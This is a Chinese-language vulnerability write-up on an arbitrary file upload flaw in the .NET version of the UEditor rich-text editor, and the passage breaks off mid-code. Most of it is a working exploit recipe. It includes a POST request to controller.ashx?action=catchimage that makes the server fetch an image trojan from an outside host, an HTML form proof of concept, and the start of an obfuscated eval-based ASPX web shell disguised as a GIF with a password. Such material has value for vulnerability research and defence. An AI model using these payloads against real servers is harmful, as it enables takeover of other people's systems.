UEditor漏洞

UEditor是由百度开发的开源富文本编辑器，开源基于BSD协议，小巧灵活，使用简单，有很多web程序在使用UEditor编辑器。
github下载地址

1.文件上传漏洞

该任意文件上传漏洞存在于1.4.3.3、1.5.0和1.3.6版本中，并且只有**.NET**版本受该漏洞影响。黑客可以利用该漏洞上传木马文件，执行命令控制服务器。

ueditor中已经下架.net版本，但历史版本中可以下载1.4.3版本，但是否是1.4.3.3目前还没验证。

*该漏洞是由于上传文件时，使用的CrawlerHandler类未对文件类型进行检验，导致了任意文件上传。1.4.3.3和1.5.0版本利用方式稍有不同，1.4.3.3需要一个能正确解析的域名。而1.5.0用IP和普通域名都可以。*相对来说1.5.0版本更加容易触发此漏洞；而在1.4.3.3版本中攻击者需要提供一个正常的域名地址就可以绕过判断；

首先1.5.0版本进行测试，需要先在外网服务器上传一个图片木马，比如:1.jpg/1.gif/1.png都可以，下面x.x.x.x是外网服务器地址，source[]参数值改为图片木马地址，并在结尾加上“?.aspx”即可getshell，利用POC：

POST /ueditor/net/controller.ashx?action=catchimage

source%5B%5D=http%3A%2F%2Fx.x.x.x/1.gif?.aspx

复现成功会返回路径信息，可以看到木马已经成功被传上去了。

然后是1.4.3.3 .net版
本地构造一个html，因为不是上传漏洞所以enctype 不需要指定为multipart/form-data ， 之前见到有poc指定了这个值。完整的poc如下”

<form action="http://xxxxxxxxx/ueditor/net/controller.ashx?action=catchimage" enctype="application/x-www-form-urlencoded"  method="POST">

  <p>shell addr: <input type="text" name="source[]" /></p >

  <input type="submit" value="Submit" />

</form>

需准备一个图片马儿，远程shell地址需要指定扩展名为 1.gif?.aspx
一句话木马：密码：hello

GIF89a
<script runat="server" language="JScript">
   function popup(str) {
   
       var q = "u";
       var w = "afe";
       var a = q + "ns" + w; var b= eval(str,a); return(